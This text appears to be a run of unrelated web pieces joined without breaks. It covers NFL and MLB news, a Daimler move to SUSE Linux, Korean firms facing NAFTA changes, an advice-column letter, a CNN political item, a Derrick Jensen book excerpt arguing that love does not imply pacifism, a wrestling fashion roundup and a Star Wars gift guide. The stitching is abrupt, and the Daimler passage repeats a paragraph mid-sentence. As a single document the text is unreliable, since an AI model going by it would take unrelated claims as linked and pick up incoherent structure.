Colin Kaepernick’s next NFL home could be with a Harbaugh.
Ravens head coach John Harbaugh told reporters today that he’s been in contact with the former 49ers quarterback throughout this summer. He said they’ve had “great conversations” and termed Kaepernick a “great guy” who he initially got to know through his brother, former 49ers head coach Jim Harbaugh.
Harbaugh said Kaepernick is being discussed as a roster addition as Baltimore quarterback Joe Flacco is sidelined for the start of training camp with a back injury. The Ravens other quarterbacks are Ryan Mallett and Dustin Vaughan.
FILE - In this Sunday, Jan. 1, 2017, file photo, San Francisco 49ers quarterback Colin Kaepernick (7) warms up before an NFL football game against the Seattle Seahawks in Santa Clara, Calif. Talent or not, Kaepernick won't be setting foot on any NFL field very soon. (AP Photo/Tony Avelar, File) less FILE - In this Sunday, Jan. 1, 2017, file photo, San Francisco 49ers quarterback Colin Kaepernick (7) warms up before an NFL football game against the Seattle Seahawks in Santa Clara, Calif. Talent or not, ... more Photo: Tony Avelar, Associated Press Photo: Tony Avelar, Associated Press Image 1 of / 15 Caption Close John Harbaugh: Ravens interested in Colin Kaepernick 1 / 15 Back to Gallery
Harbaugh indicated the decision to sign with the Ravens could be up to Kaepernick: “Depends on Colin, first of all. What's his passion? What's his priority? What’s he wanna do?” Harbaugh said, via MMQB.com.
The Ravens are just the second team to publicly express interest in Kaepernick, who visited the Seahawks in May. Seattle eventually signed Austin Davis. The modest interest in Kaepernick comes after a season in which he threw 16 touchdowns and four interceptions, while becoming a national story for kneeling during the national anthem. Harbaugh noted he shared Kaepernick’s interest in history and politics and said they’ve had some enjoyable debates this summer.
Kaepernick, of course, had his best seasons with the 49ers under Jim Harbaugh and offensive coordinator Greg Roman, who is an assistant with the Ravens.
Historically, Daimler AG used a number of proprietary UNIX distributions for the task. But managing multiple environments increased costs and required the company to maintain different skill sets to accomplish very similar tasks on different platforms. This is where SUSE technologies pitched in with their Linux Platform-as-a-Service (PaaS) solution based on SUSE Linux Enterprise Server. Daimler AG joins a long list of companies and even cities that have joined the open source bandwagon. SUSE technologies, being one of the earliest providers of Enterprise Linux solutions, helped Daimler AG to migrate a large proportion of its mission-critical servers from proprietary systems to Linux platform, specifically to SUSE Linux. This is a major win for the proponents of enterprise level solutions based on Linux and open-source.Historically, Daimler AG used a number of proprietary UNIX distributions for the task. But managing multiple environments increased costs and required the company to maintain different skill sets to accomplish very similar tasks on different platforms. This is where SUSE technologies pitched in with their Linux Platform-as-a-Service (PaaS) solution based on SUSE Linux Enterprise Server.
"A key target for the new project was to migrate away from UNIX on proprietary hardware towards Linux on commodity x86 servers. The objective was to standardize on SUSE Linux Enterprise Server as a single distribution of Linux wherever practical. The openness and ease of customization of SUSE Linux Enterprise Server, as well as its closeness to UNIX, made it the ideal starting point for this virtual platform concept."
"The success of the transition to the SUSE platform is reflected in the growth of the company’s SUSE Linux Enterprise Server landscape. In the last few years, the number of Linux instances has increased by a factor of four. This considerable expansion demonstrates both the successful ongoing project to migrate UNIX applications to Linux and the organic growth in the company’s web applications where SUSE Linux Enterprise Server has become the preferred platform."
U.S. President Donald Trump's recent declaration of renegotiating the North American Free Trade Agreement (NAFTA) seems to be dealing a severe blow to Korean firms that established factories and refineries in Mexico to benefit from the country's low customs duties with the U.S.
Industry officials said Wednesday that Kia Motors, GS Caltex and other Korean firms which have manufacturing plants in the Latin American country are mulling over countermeasures against all possible results.
"We've heard that the renegotiation of NAFTA has yet to get underway," an official of Kia said. "So we will wait and see the result of the renegotiation."
Since last May, the nation's second largest automaker has been operating a car manufacturing plant in Mexico, where about 1 trillion won ($858 million) has been invested. The plant annually produces 200,000 vehicles. About 70 percent of its production is built to export to the U.S. and Canada.
However, the company would not meet its expectations if the 30 percent tariff pledged by Trump during his campaign, becomes real. In addition, the automaker's troubles are expected to negatively affect its myriad suppliers there as well.
GS Caltex, for example, built a factory in Mexico last September to provide Kia and other global carmakers with interior materials for their vehicles. The oil refiner planned to operate the factory expecting to annually yield 30,000 tons of products in the first quarter of this year.
"We will supply our products to other global carmakers and home electronics makers," a GS Caltex official said. "Also, we are considering diversifying our production lines to produce higher values with higher technologies."
Hanwha Advanced Materials, Hyosung, POSCO and Hyundai Mobis seem to be analyzing the current situation as well. In Mexico, the four companies are rolling out frame materials, raw material for airbags, galvanized steel sheets for cars and automotive modules, respectively.
Hyundai Motor, on the other hand, recently announced it will invest $3.1 billion in the U.S. It is also considering building another plant in the U.S.
According to the Korea Trade-Investment Promotion Agency, 183 Korean companies are operating in Mexico.
These firms are employing 34,000 local people and posting about $22 billion in annual sales on average, most of which is earned from exports to the U.S. Also, Korean firms are planning to invest about $45 million in Mexico through 2018, according to the data.
"Many worry about the aftermath of the NAFTA collapse. They would not be happy with the envisioned high tariffs of made-in-Mexico products toward the U.S. market," said a Seoul analyst. "Many of them would be in big trouble if the tariffs are something like 30 percent."
I have a couple of close friends who repeatedly fall for men who treat them like crap. One of them puts men up on pedestals (including her current beau who is a sexist creep and a chronically unemployed mooch, and who threatens to dump her on a regular basis) and jumps from one bad relationship to another because she’s terrified of being alone. The other has never had a boyfriend, and looks for men in all the wrong places because she’s too shy to talk to a guy unless she’s had a few drinks, and ends up getting her heart broken when she develops feelings for men who were just looking for a quick lay or a booty call. She is so afraid of rejection that she can’t even put her wants and needs into words (if she never asks for anything from him, she doesn’t have to risk being turned down).
I’m definitely not an uber-confident man eater type of woman myself, but I expect men to treat me with respect, and those who haven’t did not get a second chance with me. I simply don’t understand why it’s so difficult for my friends to see the opposite sex as ordinary people. Why can’t they see their worth beyond what some loser thinks of them? Why can’t they see that men are not all the same, that there are identifiable differences between good men and assholish men? Why can't they understand that men aren’t some inscrutable “other” whose words and actions are "signs" to be deciphered, and that decent guys won't keep you guessing? Why can’t they understand that being a “cool, low-maintenance type of girl” doesn’t entail being a doormat? Why can’t they see that they’re wasting precious time and tears on men who don’t give a shit about them? They could do sooo much better!
It’s starting to drive me crazy, listening to their man woes over and over again. I’ve tried reminding my beautiful, smart, funny friends that they’re amazing women, worthy of respect and appreciation. I’ve tried validating my friends’ hurt feelings, that it’s not unreasonable to expect the guy you’re dating to return your calls, that it’s okay to talk about your feelings with the guy who’s been sleeping with you for several months, that it’s not fair for a guy to take out his issues on you, no you’re not crazy. I know from painful experience that telling a friend something she really doesn’t want to hear is usually counterproductive, so I often find myself biting my tongue when in my head I’m screaming, “How fucking blind are you?!”
I know that my friends are trying their best. They can’t help the way they feel. I know that what comes easily to me may be difficult for others. I know it’s not their fault that someone has chosen to abuse their trust and vulnerability. But every time my friends confide their miseries to me, every time it’s the same old song, I respect them a little less. I judge them. I start thinking of them as gullible, deluded... even pathetic. It’s horrible of me, I know. This tendency of mine is really disturbing to me. I wish I could feel empathy and compassion for them, but I don’t, and I don’t know how to. I’m afraid if I don’t figure this out, it’s going to start poisoning my friendships with these women. How do I get from where I am now to becoming the friend I should be? How do I stop losing respect and affection for my friends precisely when they need my support the most?
Wasserman Schultz also suggested House Minority Leader Nancy Pelosi should be given another term
(CNN) Rep. Debbie Wasserman Schultz excoriated the early nominations for top posts in President-elect Donald Trump's incoming administration, focusing in particular on the appointment of Stephen Bannon as chief adviser.
"Between the Steve Bannon appointment as his chief strategist, you know, a step and heartbeat next to the presidency, one, you know, one person who fans the flames and gives permission to sexism, racism and anti-Semitism on his shoulder," Wasserman Schultz said in an interview on CNN's "New Day" Friday morning. "It's really getting more and more disturbing."
The Florida Democrat told host Alisyn Camerota that the pick "means that we can't take Donald Trump at his word after he was elected a couple of weeks ago that he intends to bring the nation together."
The former Democratic National Committee chairwoman, ousted in controversy over the summer, also took aim at another pair of Trump administration appointments announced Friday -- Alabama Sen. Jeff Sessions for attorney general and retired Army Lt. Gen. Michael Flynn as national security advisor.
Wasserman Schultz cited Sessions' unsuccessful appointment to a federal district court by then-President Ronald Reagan, which sank when a former Justice Department employee testified that Sessions had made racially tinged remarks.
Love Does Not Imply Pacifism (p. 293)
From chapter "Love Does Not Imply Pacifism"
At the risk of seeming ridiculous, let me say that the true revolutionary is guided by a great feeling of love. It is impossible to think of a genuine revolutionary lacking this quality.
Ernesto Che Guevara
Another problem I have with Buddhism is that Buddhism, like other “great” religions of civilization (including science, and including capitalism), isn’t land-based. It’s been transposed over space, which means by definition it is disconnected from the land, and also means it values, by definition, abstraction over the particularity of place. A religion is, I think, supposed to teach us how to live (which, if we’re to live sustainably, must also mean that it teaches us how to live in a certain place). Also a religion is supposed to teach us how to connect to the divine. But people will live differently in different places, which means religions must be different in different places, and must emerge from specific places themselves, and not be abstracted from these places. Thus a religion that emerged from the Near East a couple thousand years ago may or may not have been helpful then and there, but quite probably will not apply so well to where I live right now. It is insane—literally, in terms of being disconnected from physical reality—to believe that a religion that tells someone how to live in, say, the desert of the American Southwest would be applicable (or even particularly helpful) to someone living in the redwood rainforests of the homeland of the Tolowa. It is similarly insane—and disrespectful of the divinity inherent in any particular place—to believe that a religion that helps experience the divine in the desert will particularly help me experience the divine at the ocean’s edge. The places are different. So will be the experience of the divine.
Even as I was writing the previous ten or so pages, I could hear in my mind the howl of outraged Buddhist pacifists (mainly white Buddhist pacifists: my Asian Buddhist friends aren’t nearly so defensive about Buddhism as are many of the American Buddhists I’ve encountered, and in fact they often share the same criticisms, both of Buddhism and of American Buddhists). It’s all very strange and interesting. I’ve found that there are many things I can bash with no one raising even an eyebrow, much less a fist. I can bash the unholy trinity of capitalism, Christianity, and corporations. I can bash schooling, wage jobs, civilization. I can bash environmentalists. I can even bash writers who bash civilization. Few seem to mind. But at the slightest hint of criticizing Buddhism (or science, which is another unholy cow that evokes the same response as Buddhism, as does, at least occasionally, pornography) I can see many of the faces in the audience harden and can feel their guts churn, their sphincters start to quiver.
During a talk a couple of days ago, I amplified my analysis of Buddhism. I was surprised and pleased that the audience interrupted me with applause when I discussed the possibility that equanimity in the face of the culture’s destructiveness can mask “cowardice, stupidity, and an appalling lack of creativity,” and can be an avoidance of responsibility for acting to halt the atrocities. But I received an email the next morning that typifies the magical thinking of so many pacifists. The letter read in part: “While I would agree with every word you spoke about our civilization, I wouldn’t agree that morality is always situational—there are certain acts that are soul-destroying, and advocating violence is one of them. Little word-games about Buddhist monks or innocent children being harmed are just cheap. I too used to hold the nine-inch nails philosophy—that was before I lived 50 years and had three children, and love. The destruction trope is just another example of our society’s harmful philosophy coming in by the back door. You’re being co-opted by the need to control things. I hate to see your soul co-opted by the forces of destruction.
“The Great Mother will heal Her body, if she has to do it with cockroaches and finches (look at Galapagos). It is only human survival we are talking about here. We are doomed if we don’t change, yes, but the earth will surely endure. So we must first put this argument in the proper Selfish context—i.e., saving our own asses. It is presumptuous and sacrilegious [sic] to speak of saving the earth.
“You must not suggest to these damaged and wounded humans, searching so desperately for meaning and peace, that they start breaking things. The ones that [sic] come to your talks are harmed and frightened. You have some power— there is a dark side and a light side—we all know this in our hearts. Please stay on the side of the light.”
I’m sure by now you can parse out the unfounded and unstated premises in this note. The first premise is that morality is abstracted from circumstance, meaning in this case that (direct) violence is always—under each and every circumstance—wrong, even when it might be necessary to stop even more violence, implying as well that one has no moral responsibility to halt monstrous acts that happen even on one’s own doorstep if stopping those acts would require muddying one’s spiritual hands. This is the way of the Good German.
It is the way of the Good American. It’s certainly the way of the good dogmatic pacifist.
Next, any attempts to even discuss these possibilities must be dismissed as “word games,” “cheap,” an example of the culture’s “harmful philosophy coming in by the back door,” and a need to control. This is all exactly what I meant early on in this book by the “Gandhi shield” pacifists often use to not only keep evil thoughts at bay but to make sure no one else thinks them either.
I don’t want to go to the same well too many times, but a discussion by R. D. Laing applies. He wrote: “If Jack succeeds in forgetting something [such as the fact that we have the responsibility—the obligation—to stop the horrors of civilization, and the ability to do so, if we choose to], this is of little use if Jill continues to remind him of it. He must induce her not to do so. The safest way would be not just to make her keep quiet about it, but to induce her to forget it also.
“Jack may act upon Jill in many ways. He may make her feel guilty for keeping on ‘bringing it up.’ He may invalidate her experience. This can be done more or less radically. He can indicate merely that it is unimportant or trivial, whereas it is important and significant to her. Going further, he can shift the modality of her experience from memory to imagination: ‘It’s all in your imagination.’ Further still, he can invalidate the content: ‘It never happened that way.’ Finally, he can invalidate not only the significance, modality, and content, but her very capacity to remember at all, and make her feel guilty for doing so in the bargain.
“This is not unusual. People are doing such things to each other all the time. In order for such transpersonal invalidation to work, however, it is advisable to overlay it with a thick patina of mystification. For instance, by denying that this is what one is doing, and further invalidating any perception that it is being done by ascriptions of ‘How can you think such a thing?’ ‘You must be paranoid.’ And so on.”
The next unstated premise—and I’m going into such great detail because this woman’s letter and the perspective it represents is not unusual, but instead is insanely common—is that a desire to stop atrocities such as the extirpation of species is a manifestation of a “need to control.”
I used to have this fear, too, that to affect another’s behavior—even when that other is hurting me directly—is to be “controlling.” But to believe this is to internalize the rhetoric and worldview of the abuser.
Years ago, if you recall, I was in a couple of emotionally abusive relationships, where the women would call me names, harangue me for days, and so on. When I’d ask them to stop they’d say I was trying to censor or control them.
Finally, a friend asked me, “What will it take for you to say ‘Fuck you’ to this woman and walk away?”
“I can’t do that.”
“Why not?”
“That would be rude.”
“She’s not being rude to you?”
“I don’t want to put myself on the same level. I don’t want to cross some sort of middle line between us. I can talk about things on my half . . .”
“Ah, you’ve been to counseling! You can say, ‘When you call me names, it makes me feel bad,’ but you can’t say, ‘Cut this shit out!’ then hang up the phone …”
“Hanging up on someone is unacceptable.”
“So it’s okay for her to perpetrate unacceptable behavior on you, but you aren’t allowed to call her on it, nor even to absent yourself? That’s crazy.”
I opened my mouth to say something, then shut it, then opened it again, then clamped it shut.
That very night the woman called and began haranguing me. I said “Fuck you!” and hung up the phone. (Unfortunately, and this reveals how stupid denial makes us, it took me quite a while longer to figure out that after hanging up on her I didn’t have to answer when she called back! It didn’t take much longer than that, though, for me to realize that not only did I not need to answer the phone, I could simply not allow anyone to harangue me. If they do, I kick them out of my life. What a concept!)
There is an idea, no, a wish cherished by many, that love implies pacifism. If we love we cannot ever consider violence, even to protect those we love. I’m not sure that mother grizzly bears would agree, nor mother moose (I’ve heard it said that the most dangerous creature in the forest, apart, of course, from civilized humans, is a moose when you’re between her and her child), nor many other mothers I’ve known. I’ve been attacked by mother horses, cows, mice, chickens, geese, eagles, hawks, and hummingbirds who thought I was threatening their children. I have known many human mothers who would kill anyone who was going to harm their little ones. If a mother mouse is willing to put her life on the line by attacking someone eight thousand times her size, how pathetic it is that we construct religious and spiritual philosophies that tell us that to attack even those who are killing those we most dearly love—or those we pretend we love—is to not love at all. That leads to the fifteenth premise of this book: Love does not imply pacifism.
I have a friend, a former prisoner, who is very smart, and who says that dogmatic pacifists are the most selfish people he knows, because they place their moral purity—or to be more precise, their self-conception of moral purity— above stopping injustice.
Years ago I spoke with the wonderful philosopher and writer Kathleen Dean Moore about why calling the earth our mother is not always helpful. I first asked her what were some of the lies we tell ourselves about our relationship to the land.
She responded, “In order of outrageousness: That human beings are separate from—and superior to—the rest of natural creation. That Earth and all its creatures were created to serve human ends. That an act is right if it creates the greatest wealth for the greatest number of people. That a corporation’s highest responsibility is to its stockholders. That we can have it all—endlessly mining the land and the sea—and never pay a price. That technology will provide a way to solve every problem, even those created by technology. That it makes sense to barge salmon smolts past dams to the sea, so that grain can move downriver in barges. That a pine plantation is the same as a forest. That you can poison a river without poisoning your children. And the biggest and most dangerous lie of all: That the Earth is endlessly and infinitely resilient.”
I asked why that is so dangerous.
She said: “We are doing damage now—to the atmosphere, to the seas, to the climate—that may be beyond the power of healing. When the Earth is whole, it is resilient. But once it is damaged, the power of the Earth to heal itself seeps away. In a weakened world, if we turn against the land, pour chemical fertilizers onto worn-out fields, sanitize wastewater with poisons, dam more rivers, burn more oil, bear more children, and never acknowledge that there may be no chance of healing, never admit what we have done and what we have failed to do—then, who can forgive us?”
I asked, “Why is this so hard for us to understand? We see evidence all around us.”
Her answer: “Long-standing ways of thinking, even the way we talk, reinforce the fiction. Think of the metaphor of the Earth as a mother, and the slogan, ‘Love your mother.’ What does this mean? It might simply acknowledge that humans are created from matter that comes from the Earth. But so are Oldsmobiles, and that doesn’t make the Earth the mother of Oldsmobiles.
“I think the whole ‘love your mother’ metaphor is just wishful thinking. Mothers can usually be counted on to clean up after their children. They are warm-hearted and forgiving: mothers will follow crying children to their rooms and stroke their hair, even if the child’s sorrow is shame at his treatment of his mother. It’s nice to think the Earth is a mother who will come after us and clean up the mess and protect us from our mistakes, and then forgive us the monstrous betrayal. But even mothers can be worn out and used up. And then what happens to her children?
“There’s an ad from an oil company that shows the image of the Earth along with the caption, ‘Mother Earth is a tough old gal.’”
I said, “The implication being that the Earth is invulnerable.”
She responded, “A dangerous implication. I wrote a letter to the company saying, ‘If the Earth really were your mother, she would grab you with one rocky hand and hold you under water until you no longer bubbled.’ Cosmic justice.”
It should come as no surprise that the great traditions of pacifism emerge from great religions of civilization: Christian, Buddhist, Hindu.
I recently saw an interview with longtime pacifist activist Philip Berrigan— one of the last before he died—in which he stated more or less proudly that spiritual-based pacifism is not meant to change things in the physical world, but relies on a Christian God to fix things. The interviewer had asked, “What do you say to critics of the Plowshares movement who claim that your actions have not produced tangible results?”
Berrigan answered, and especially note his second and third sentences: “Americans want to see results because we’re pragmatists. God doesn’t require results. God requires faithfulness. You try to do an act of social justice, and do it lovingly. You don’t threaten anybody or hurt any military personnel during these actions. And you take the heat. You stand by and wait for the arrest.”
I can’t speak for Berrigan, but I want to see results because the planet is being killed.
In any case, I think Berrigan is wrong. If there is a Christian God, and if several thousand years of history is any indication, He is not, to use the woman’s term, on the side of the light. Given all evidence, I’m not sure I want to count on a Christian God to halt environmental destruction.
The Dalai Lama takes a more rounded, intelligent, and useful view on violence. He is, in addition, very aware of his premises, and tries to state them when he can. He has said, “Violence is like a very strong pill. For a certain illness, it may be very useful, but the side effects are enormous. On a practical level it’s very complicated, so it’s much safer to avoid acts of violence.” He then continued, “There is a pertinent point in the Vinaya literature, which explains the disciplinary codes that monks and nuns must observe to retain the purity of their vows. Take the example of a monk or a nun confronting a situation where there are only two alternatives: either to take the life of another person, or to take one’s own life. Under such circumstances, taking one’s life is justified to avoid taking the life of another human being, which would entail transgressing one of the four cardinal vows.” His next sentence reveals the whole point, and brings this discussion home: “Of course, this assumes one accepts the theory of rebirth; otherwise this is very silly.”
The move also means the Daniel Murphy/Jordany Valdespin experiment ends after six games, with Murphy being moved back to second base and Valdespin being pushed out of the lineup
Duda playing first marks the end of a long, strange saga in which the Mets insisted Duda was a capable outfielder despite all evidence to the contrary. In 2012, Duda was the worst defensive outfielder in baseball, grading out at -20.3 by UZR and -41.3 UZR/150 when he played right field. Left field hasn't gone much better for him, as he graduated out at -11.0 UZR and -31.9 UZR/150 in 2013. For comparison's sake, Duda graded out at 0.4 UZR and 1.5 UZR/150 in his only meaningful time at first in 2011.
UZR is a very flawed statistic, but for Duda, it reflects reality. For all of his effort, Duda never possessed the range or foot speed to adequately track and catch fly balls, and he frequently had balls go over his head.
Duda's defense meant that despite providing a 101 and 118 wRC in 2012 and 2013, his fWAR in those two years combined was -1.9.
Despite Ike Davis's injury and the fact that Duda took grounders at first base on his own, the Mets refused to play Duda at first because it would reportedly send Davis a bad message.
By By 0 Comments Post Date : May 02,2015
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UFC officials confirmed the date on Friday via a report from the Baltimore Sun.
The No. 1 ranked pound-for-pound fighter in the UFC, Jones, 26, will attempt to extend his own record for consecutive light heavyweight title defenses, which currently sits at six.
Since losing via disqualification in 2009, Jones has ripped off 10 straight victories over the likes of Mauricio Rua, Quinton Jackson, Lyoto Machida, Rashad Evans, Vitor Belfort, Alexander Gustafsson, and more.
Teixeira, 34, is undefeated over his last 20 contents, including five straight wins under the UFC banner.
The NFL has one of the least accomplished divisions in history this year in the NFC South, where even the 2-9 Buccaneers harbor hopes of winning a division title.
A big reason for the division’s futility has been their general inability to win games against teams from other divisions, including the AFC North. Monday night’s Ravens victory over the Saints leaves the AFC division with a 10-1-1 edge over their NFC counterparts this season, a mark that has helped the AFC North make a little history.
According to the Elias Sports Bureau, Baltimore’s move to a 7-4 record makes the AFC North the first division in NFL history to have all of its teams at least three games over .500 at the same time. Ravens coach John Harbaugh referenced that collective success after Monday night’s win.
“It’s big. You’re going to have to win a lot of games to win the division,” Harbaugh said in his postgame press conference. “You’re going to have win a lot of games to make the playoffs in our conference. It’s just a fact. You’re going to need every win you can get. To get this win was very big. Next week’s going to be even bigger.”
Today was the day of the G1 Climax press conference, where all the guys turned up trying to look their best, as well as pose. Shelly covered New Japan’s finest fashion plates on Twitter, which we’ve collected below.
@TomBlargh is also going to weigh in because, having listened to every single episode of Josh Mathews’ Male Fashion Aficionado podcast, he is now EXTREMELY educated about fashion as it relates to wrestling. Let’s go!
Tanahashi
Deathlock: Tanahashi looks dapper in pinstripes, blue, & cream, but I don’t think diagonal stripes are legal.
Tom: The Ace of the Century. The Japanese Shawn Michaels. The state of that tie. I also think he should have done something different with his (admittedly beautiful) hair, given the formal attire. Maybe a hair clip, I don’t know.
Togi Makabe
Deathlock: NEVER champ Togi Makabe wears his standard formal attire: suit, open shirt, chain. Very nice.
Tom: Your dad’s been kicked out by your mum again but he doesn’t give a FUCK.
AJ Styles
Deathlock: AJ Styles wore jeans and a ballcap for the G124, so a suit, even without a tie, is a vast improvement.
Tom: How many hand gestures can one man do within the span of a few seconds? You just found out, baby, courtesy of Allan Jones Styles.
Tetsuya Naito
Deathlock: Tetsuya Naito has been carrying his LOS INGOBERNABLES hat everywhere. Glad to see it make an appearance.
Tom: Not sure what’s going on with the cap but I love the pose. The thing with the eyeball? That’s the attention to detail that’ll make young Naito a star.
Kota Ibushi
Deathlock: In a sleek black suit with an open shirt collar, babely Kota Ibushi is clearly best dressed so far.
Tom: He is an extremely pretty young man but that pose needs work, he looks like a wax dummy. Also, I’m frustrated by how many of these lads aren’t wearing ties.
Tenzan
Deathlock: NWA Heavyweight Champ Tenzan has his trademark mullet in a ponytail, nice suit, sage green tie. Classy.
Tom: Loving the suit, hating the pose. You can do better than just the open mouthed roar, mate.
Shibata
Deathlock: KATSUYORI SHIBATA IS HERE THAT IS ALL THAT MATTERS OH THANK GOODNESS.
Tom: Simple, effective pose and beautifully conditioned hair go a long way to make up for the lack of a tie.
Toru Yano
Deathlock: Yano looks nice in a well-tailored suit; can’t tell if his orange hair is on purpose or a bad bleach job.
Tom: Now we’re fucking talking, a tie AND a tie clip. Yes, he looks like your cousin on his first job interview but whatever, he’s made an effort. The double thumbs at the end are also highly effective.
Bad Luck Fale
Deathlock: HHAHAHAHAHAHAHAHAHHA. HAHAHAHAHAHAHAHHAHAHAHAHAHAHAHAHAHAHHAHAHAHAHAHAH.
Tom: Your uncle’s trying out a new look but it’s not going well.
Luke Gallows
Deathlock: Gallows wears a badly fitted jacket, a t-shirt, a cap, and sunglasses. No one is surprised or cares.
Tom: This is why the world hates Americans.
Okada
Deathlock: IWGP champ & Actual Angel Kazuchika Okada looks absolutely stunning in a three-piece suit & paisley tie.
Tom: No chance is anyone topping this, he looks like ’80s David Bowie (i.e. the pinnacle of style)
Hirooki Goto
Deathlock: IWGP IC champ Hirooki Goto looking great in black on black; too many buttons undone though, like Shibata.
Tom: The swivel’s nice, the finger point is a letdown. I’m with Deathlock on the buttons situation being a bit of a disaster.
Shinsuke Nakamura
Deathlock: King of Everything and Probably a God Shinsuke Nakamura looks good in everything. Subtle pinstripes, tie.
Tom: Frankly, I’m disappointed by old Shinsuke’s showing here. The pose is fine and the faces are good and crazy but the suit’s barely above average.
Tomohiro Ishii
Deathlock: Armani Pitbull Tomohiro Ishii looking suave in grey; but sunglasses & t-shirt, plz don’t join Bullet Club.
Tom: “Come on, give us a twirl” says your mum jokingly as your dad comes in wearing his new jacket. “Fuck this” he mutters, storming out of the room.
Karl Anderson
Deathlock: G1 2012 finalist Karl Anderson arrives with the nicest fashion accessory so far: Tama Tonga! & nonsense
Tom: Rolling in with his sleeves rolled up and no jacket is bad but what’s even more troubling is that he seems to be inviting us to suck his arse at the end.
Satoshi Kojima
Deathlock: Reverse-pattern tie & pocket square, Satoshi Kojima is STYLIN. With gorgeous tailoring. Wow. Heart eyes.
Tom: You can always be assured class from A Kojima Production. Fantastic pose at the end as well.
Yuji Nagata
Deathlock: Distinguished gentleman Yuji Nagata is gonna kick all their punk asses in pinstripes & polka dots.
Tom: THAT FUCKING SALUTE MAN, CRISP AS FUCK. Easily the pose of the day.
Honma
Deathlock: That suit doesn’t fit, but Honma looks very nice in that pale yellow shirt, great color.
Tom: Big fan of his cheeky wee smile at the end, he knows he’s a dafty.
Yujiro Takahashi
Deathlock: Yujiro showed up but without Mao. Oh.
Tom: He looks bashful and rightfully so, trying to follow Nagata’s salute with one of his own was always going to be a failure.
Michael Elgin
Deathlock: Michael Elgin: bald, full beard; three piece Undertaker-purple-and-grey suit. VERY nice showing.
I curate every single item with the goal of having the most intensive, broad and thorough gift guides out there every year.
This year saw a huge influx of Star Wars items as The Force Awakens gears up for release and it struck me while compiling the guide that I should go the extra mile and do a special Star Wars only installment, pulling every single Star Wars item from all categories and listing them in one piece.
To go back to the Sears Catalog analogy, consider this the Star Wars Pull Out section of the 2015 Holiday Gift Guide.
So, here you go. The entire Star Wars only version of the Gift Guide! May the Force be with you!
CLICK HERE TO JUMP TO PART 1 OF THE 2015 HOLIDAY GIFT GUIDE FEATURING BLUs, DVDs, ART and GEEK APPAREL!
CLICK HERE TO JUMP TO PART 2 OF THE 2015 HOLIDAY GIFT GUIDE FEATURING BOOKS, BOARD GAMES, VIDEO GAMES and MUSIC!
CLICK HERE TO JUMP TO PART 3 OF THE 2015 HOLIDAY GIFT GUIDE FEATURING TOYS, COLLECITBLES and GEEK HOUSEWARES!
DVDS/BLUS
Cheap ($24.99 and under)
You don't get anything new that hasn't already been released in high def, but you can individually buy all Star Wars films in these fancy new Steelbook editions. If you're going Star Wars crazy right now (and who isn't?) then here's your chance to bone up before Episode 7. Sadly, these are the special editions (bleh). There are rumors of the Original Theatrical Cuts being worked on, but nothing solid, so if you really want 'em and can put up with some extra CG crap every once in a while then you might want to give these a shot. The above image is for the original Star Wars and it costs $22.66.
This is Empire Strikes Back Steelbook. Fancy, I know. $22.66.
And now Jedi's Steelbook re-issue. They look really neat together, I'll give 'em that. If you want the prequels then you can search for 'em yourself, you poor bastards. $22.20.
Moderate ($25.00-$70.99)
Star Wars Rebels is legit, you guys. I've talked about how much I love this series a few times. I can't help it. Later season Clone Wars and Rebels almost singlehandedly turned me from the dark side of Star Wars fandom (ie burnt out and spiteful of the prequels) and reinvigorated my love of the universe. Just in time, too, since we got that little Force Awakens movie thing coming out in a few weeks. $33.81.
It's not John Williams himself, but rather a loving tribute concert of his greatest work, from Fiddler on the Roof to Star Wars, done by the LA Philharmonic. $25.26.
ART
Moderate ($25.00-$70.99)
Hero Complex has this beautiful Force Awakens-inspired print done in metallic inks by Patrick Connan. Measuring 18x24 and limited to only 50 prints, if you want this pretty thing you better hurry on up! $40.00.
Now this is a tiny print (only 8x10), but I couldn't feature Kylo's weapon without giving him a feature as well. I don't want that dude showing up at my doorstep all butt-hurt that I didn't include him in the Guide. Great artist Paul Shipper did the above art, limited it to 250 prints, and you can get you one for $25.00.
Here's another tiny Paul Shipper Force Awakens print. Same size and edition of the above Kylo piece. Same price, too. Figure that. $25.00.
Artist Kako did a great job with this Force Awakens print featuring the T-70 X-Wing. Only 100 of these 24x18 prints exist, but you can still get your hands on them. $35.00.
Liam Brazier has been doing a Star Wars portrait every week this year and while there are bigger stars he's covered, how could I not include Porkins? The poor, unsung hero of that first Death Star battle never gets his due, but not anymore damnit! Not anymore. $15-$80, depending on what size you want. 18X24 is $40.00.
Expensive ($71.00-$249.99)
BB-8 gets his own giclee print, courtesy of Acme Archives! Hand numbered edition of 150, measuring 13x19. $89.00.
Oh, man, this Randy Martinez Kylo Ren piece is sooooooo pretty! It's incredible to me that no matter how they play out in the movie that we've already got new characters so iconic that people are obsessed with them sight unseen. I had Kylo Ren Trick R Treater come to my door this year! So, Acme has this giclee out, limited to 95 piece, measuring 16x21.25. $225.00.
Perseus Skywalker by Jon Marro is flat out gorgeous, isn't it? Limited edition giclee, 95 hand-numbered pieces. 16X21.5. $225.00.
These high quality, highly detailed Acme pieces blow me away sometimes. This Yoda one in particular grabs me every time I look at it. Great work by William Silvers. Limited to 200 giclees, 12x24. $175.00.
Here's another gorgeous piece of geek art. Vader and Luke crossing sabers on Bespin has never looked so beautiful! Thanks, Guy Vasilovich. Good job. Limited to 150 pieces, 22x17. $165.00.
The detail on this Han Solo on Hoth piece is incredible. Chris Wahl even got the scar right! Great perspective, amazing detail... a great high quality nerdy gift if I've ever seen one! 195 hand numbered giclees exist in this world, 13x19. $145.00.
APPAREL
Cheap ($24.99 and under)
Dear sir or madame, may I present to you some fine, geeky stockings for your feetsies. That's right, BB-8 socks to keep your little piggies all nice and warm! $8.99.
If you prefer more evil socks, might I suggest these new Kylo Ren and First Order Stormtrooper socks? Yes? Good. I suggest these Kylo Ren and First Order Stormtrooper socks. $12.99.
Kylo Ren and his sparky lightsaber look mighty menacing in this tee shirt. Everybody knows you're a Star Wars geek, so you might as well look the part, right? $17.95-$21.99, depending on size.
It's true that Christopher Walken was an early front-runner for Han Solo. In fact, he was one of the first actors that Lucas met with in person for the role. Cinema would have been radically altered had Walken been cast. I wouldn't trade Harrison Ford for a million dollars, but it's a great what if. Now you can show your deep knowledge of obscure Star Wars trivia and your love of SNL with this single shirt. $20.00.
This is perhaps the geekiest “going steady” gift you could possibly give your significant other. You know which one of you is the Han and which one is the Leia. The 'I Love You' Ring is size 7 and the 'I Know' Ring is 10, both are made of stainless steel. $21.03.
Alright, girl geeks. This one's for you. X-Wing dangle earrings. Not for nothin', but if a cute geek girl made eyes at me while rocking these suckers I'd just about fall in love on the spot. $18.74.
